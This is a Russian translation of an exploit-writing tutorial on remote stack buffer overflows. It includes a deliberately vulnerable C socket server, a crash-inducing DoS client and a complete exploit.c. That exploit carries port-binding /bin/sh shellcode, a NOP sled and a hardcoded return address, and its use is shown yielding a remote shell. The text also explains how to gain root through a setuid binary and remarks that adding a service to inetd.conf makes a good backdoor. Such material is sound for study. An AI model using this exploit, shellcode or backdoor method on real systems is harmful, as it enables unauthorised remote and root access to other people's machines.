Back Content Forward

1. Введение.

Добро пожаловать в мой первый туториал на английском языке и первую статью о написании эксплоитов, далее я продемонстриую основы удаленного эксплоитинга / удалённого переполнения буффера.
Чтобы понять все здесь написанное, вам надо знать как программировать сокеты на С, а также ANSI C, и я надеюсь, что вы также знаете как работают локальные эксплоиты. Если вы не имеете никакого представления относительно этих вещей, я хочу предложить вам прежде всего прочитать другую документацию или книги:

- The C Programming language (Kernighan/Ritchie)
- Unix Network Programming (Richard Stevens)

2. Давайте искать и использовать.

Я надеюсь вам понравиться это, но что же мы будем делать ?

[1] Мы хотим эксплуатировать уязвимую серверную программу (vulnerable.c).
[2] Мы хотим получить удаленный шелл.

Если Вы не имеете никакого представления о удаленном эксплоитенге тогда читайте далее.
Сначала мы рассмотрим уязвимую программу, потом обратимся к её функциям, потом узнаем как можно сделать переполнение,
затем мы определим общую структуру эксплоита, и наконец напишем сам код.

-------------------------------- vulnerable.c -------------------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)

{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ’\0’;
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;
}
int main(int argc, char *argv[])
{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}

------------------------------------EOF--------------------------------------

Вот, как надо собрать и использовать программу.

User@linux: ~/> gcc vulnerable.c -o vulnerable
User@linux: ~/> ./vulnerable 8080

./vulnerable 8080 это означает, что вы запустили службу на порту 8080,
если хотите, то можете сменить порт, но вы не должны использовать порты 1 - 1024 потому что вы не root
(А под рутом, мы не рекомендуем проводить подобные эксперименты//прим. редакции).

Теперь мы скомпилировали програму и знаем как её запустить с параметрами:

program <port>

Теперь пора проверить некоторые адреса программы, и посмотреть как они построены.
Мы запускаем уязвимую программу с gdb, что бы смотреть на некоторые вещи...

Делаем следующее:

user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080

Теперь программа слушает порт 8080.
Затем соединяемся при помощи telnet или netcat с 8080 портом.

user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
nice to meet you!
Connection closed by foreign host.
user@linux:~/ >

Наш сервер не делает ничего более чем получает имя и выводит затем его на экран.

В то время как мы делали это, gdb написал следующее на экране:

client from 127.0.0.1 0xbffff28c

/* Не перепутайте адрес, он может быть другим на вашем компьютере, на моём это - 0xbffff28c */

Хорошо сервер все еще работает из-за цикла, так что он будет работать, пока Вы не остановите его.

3. Переполнение сервера.
Давайте проверять кое-что....
Теперь мы повторно соединяемся с службой на порту 8080 и отсылаем больше чем 1024 байта,
на приглашение в командной строке "My name is:"

User@linux: ~/> telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: AAAAAA...урезано...AAAA //(всего 2048 символов А)

Теперь telnet клиент должен быть разъединен...
Но почему? Давайте смотреть на результат в gdb:

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
//Не закрвайте gdb!!

Что случилось?

Как мы видим eip равен 0x41414141, возможно вы спросите почему ?


ХОРОШО, я попробую объяснить это. 0x41 это 'А'... Поскольку мы помещали более чем 1024 байта,
программа пробовала копировать name[2048] в buffer[1024]....
Так, потому что строка в name[2048] была большая чем 1024 байта, произошло переполнение. Наш буфер напоминает это:

[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [eip]

Ok, наш стек должен выглядеть похоже.
Мы поместили в буфер более 1024 байт и переписали eip.

//не забывайте размер eip 4 байта

После того, как вы перезаписали адрес возврата, функция хотела вернутся к главной функции и прыгнула на
неправильный адрес (0x41414141).... это и была ошибка сегментации.


Инструмент DoS для этой программы:

-------------------------------- dos.c --------------------------------------

#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
int main(int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
int s, i;
if(argc != 3)
{
fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
exit(0);
}
s = socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{
perror("socket() failed\n");
exit(0);
}
host = gethostbyname(argv[1]);
if( host == NULL)
{
herror("gethostbyname() failed");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));
if(connect(s, &addr, sizeof(addr)) == -1)
{
perror("couldn't connect so server\n");
exit(0);
}
/* Просто заполнем буфер символом А, не посылая ничего больше */
for(i = 0; i < 2048 ; i++)
buffer[i] = 'A';
printf("buffer is: %s\n", buffer);
printf("buffer filled... now sending buffer\n");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent.\n");
close(s);
return 0;
}

----------------------------------- EOF --------------------------------------

4. Обнаружение адреса возврата.

Я только хочу показать вам, как выглядит структура удаленного эксплоитинга, так что давайте выясним то, что мы собираемся делать:
Сначала мы открываем gdb и ищем esp...
Чтобы найти esp, вы можете поместить в gdb.. (Я надеюсь, что вы не закрывали gdb) после получения SEGFAULT...
Хорошо теперь введите:

x/200bx $esp-200

Вы должны получить адреса возврата.
Это должно выглядеть примерно так:

(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---

Хорошо, мы знаем что мы перезаписали весь буффер, так что давайте использовать один из этих адресов...
Я объясню позже почему так... (мы хотим угадать адрес), может быть вы знакомы с техникой использования NOP...
так что это не должно стать проблемой, мешающей нам написать рабочий эксплоит... или увеличить наши шансы угадать адрес возврата.

Внимание не берите самый близкий адрес около конца 0x41, берите адрес, который находится в середине, мы перепишем его позже NOP’ами.

5. Структура кода эксплоита.

Итак мы имеем возможнй адрес возврата, попробуем использовать его... код эксплоита будет выглядеть как-то так:

1.
Сначала давайте узнаем esp. (у нас есть адрес рядом с esp, но это не проблема, потому что мы заполним буффер NOP'ами)
Вы должны найти хороший shellcode, который биндит шелл на порту...
Не забывайте: в удаленных эксплоитах мы не можем использовать шелкоды локальных эксплоитов..
Касательно portbinder shellcode, который биндит шелл на порту - в сети есть много рабочих примеров (http://metasploit.com/shellcode.html)

2.
Объявим буффер, размером больше 1024 байта... например в 1064 байта, так что проблем с перезаписью esp не будет.
Только не забывайте, что вы должны объявить буффер, который обязательно больше чем 1024 байта.

3. Подготовим буфер.

Сначала заполним его NOP'ами:

memset(buffer, 0x90, 1064);

4. Скопируем shellcode в буфер.

memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));

Здесь мы помещаем shellcode в середину буфера
Почему ? Если мы получим достаточно NOP'ов вначале, то наши шансы на выполнение шеллкода увеличиваются.

5. Закончим с Nullbyte в буфере
buffer[1000] = 0x90; //0x90 - NOP в шестнадцатиричном виде

6. Скопируем адрес возврата в конец буфера:

for(i = 1022; i < 1059; i+=4)
{
((int *) &buffer) = RET;
//RET - returnaddress(адрес возврата), который мы хотим использовать...
}

Мы знаем, что буфер заканчивается через 1024 байта, но что бы быть уверенными начнём с 1022.
затем мы копируем адрес возврата пока не достигнем 1059 байт...
этого достаточно, потому что мы уже перезаписали eip (надеюсь=).

7. Добавим \0 = Nullbyte в конец приготовленного буффера:

buffer[1063] = 0x0;

Теперь у нас есть готовый буффер, остаётся только послать его уязвимому хосту, используя ip адрес и порт.

--------------------------------- exploit.c ----------------------------------

/*
* Простой удаленный эксплоит, который биндит шелл на порту 3789 от triton.
* После того как адрес возврата был перезаписан, вы можете соединиться при помощи
* telnet или netcat с уязвимым хостом на порту 3789
* После того, как вы залогинетесь ..., не чего не будет, попытайтесь ввести
* "id;" (не забывайте точку с запятой),
* Вы должны получить шелл. Всегда ставьте ";" после команд.
*/
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
//Portbinding Shellcode
char shellcode[] =
" \x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
" \x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
" \x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
" \x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
" \x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
" \xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
" \x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
" \x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
//standard offset (probably must be modified)
#define RET 0xbffff5ec
int main(int argc, char *argv[]) {
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;
struct hostent *host;
if(argc != 3) {
printf("Usage: %s target-ip port\n", argv[0]);
return -1;
}
// filling buffer with NOPs
memset(buffer, 0x90, 1064);
//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
* ((int *) &buffer[i]) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
{
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
{
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1)
{
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}

------------------------------------- EOF------------------------------------

7. Использование эксплоита.
user@linux~/ > gcc exploit.c –o exploit
user@linux~/ > ./exploit <host> <port>
Теперь, это должно работать, если вы получили правильный адрес возврата ... или один из правильных адресов возврата.
user@linux~/ > telnet <host> 3879
Если вы соеденились то попробуйте ввести это:
id;
uid=500(user) gid=500(user) groups=500(user)
Как вы видите, он работает.

8. Получение привилегий root
Делайте следующее:
User@linux ~/> su
password: ******
root@linux~/ > ls -ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable
root@linux~/ > chown root vulnerable
root@linux~/ > chmod 6755 vulnerable
root@linux~/ > ./vulnerable <port>
Теперь вы можете эксплуатировать программу сервера, и вы должны получить привелегии суперпользователя.

9. Enter the service in inetd.conf
Интересно, как программа, работал бы, если это был бы демон?
Сделаем следующее:
Сначала скопируйте vulnerable pogram в /usr/bin/
root@linux~/ > cp vulnerable /usr/bin/vulnerable
Теперь давайте изменим некоторые файлы ...
root@linux~/ > vi /etc/services
(Не бойтесь использовать ваш любимый редактора вместо vi),
Определите порт, который Вы хотите юзать. Я возьму порт 1526, теперь давайте, введем эту информацию в /etc/services
vulnerable 1526/tcp # определяем порт нашей програмы, сохраняем и выходим.
Теперь редактируем файл inetd.conf
root@linux~/ > vi /etc/inetd.conf
вставляем:
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
Теперь сохраняем файл inetd.conf и выходим.
root@linux~/ > killall -HUP inetd
Теперь перезапустили inetd, и все должно работать..

На заметку/ учтите: это так же хороший способ сделать бекдор, добавляя сервисы в /etc/services и в inetd.conf

10. Решения проблемы.
Если эксплоит не работает, подумайте об адресе возврата, он может быть неправильным, проверьте это с gdb ....
user@linux~/ > gdb vulnerable
.....
(gdb) run <port>
Теперь, вы можете эксплуатировать программу, если не работает посмотрите на результат gdb, и пробует найти адрес, как в Главе 4.
Если есть любые другие проблемы ... читайте замечания.

11. Замечания.
Если вы найдёте ошибку, пожалуйста напишите мне, таким образом я могу исправить текущую версию.
Если вы будете критиковать мой английский язык, то я удалю ваше сообщение:-),

если у вас возникнут сложности с пониманием - пожалуйста спрашивайте меня...

Но пожалуйста не дразните меня с глупыми вопросами, у меня нет времени, чтобы ответить на каждый вопрос.
Если вы хотите поместить этот текст на вашу страницу, никаких проблему, но пожалуйста не изменяйте авторское право или другие вещи....
(К сожалению (тонее к счастью) пришлось немного изменить текст - для адаптации материала к русскому языку, но незначительно//прим. редакции)

12. Приветы.
Спасибо Maverick за уязвимую программу (в его Обучающей программе "Socket Programming"),
Спасибо triton за exploitcode (хороший человек, также член buha-security.de)
Привет всем членам buha-security.de и привет XaitaX, cat, Anthraxx, Jess (интересно что случилось с нею), DrDoo (knuff)
и конечно же один из моих лучших друзей Richard Hirner (я знаю его 1,2 года, но мы не видились.... ),
приветы всем ученикам LGT Bank in Liechtenstein, особенно Marc, Etienne, Martina...
(и Toni из Больницы, мой ученик).

13. Дополнения.
Думаю этот перевод поможет вам в ваших началах. По этому поводу в сети достаточно много материала, но про удаленные на русском не встречал, вот и решил перевести.
Думаю что всё должно у вас получится и всё будет понятно. Если что то вам не уж простите, всем не угодить...
Сказывается и дефицит времени, будет время будет лучше, а так прошу воспринимать как есть.

(c) Robin Walser irc.euirc.net #usad
Перевод DRE
Оригинал http://www.exploitx.com/forum/azbb.php?1112286936

Back Content Forward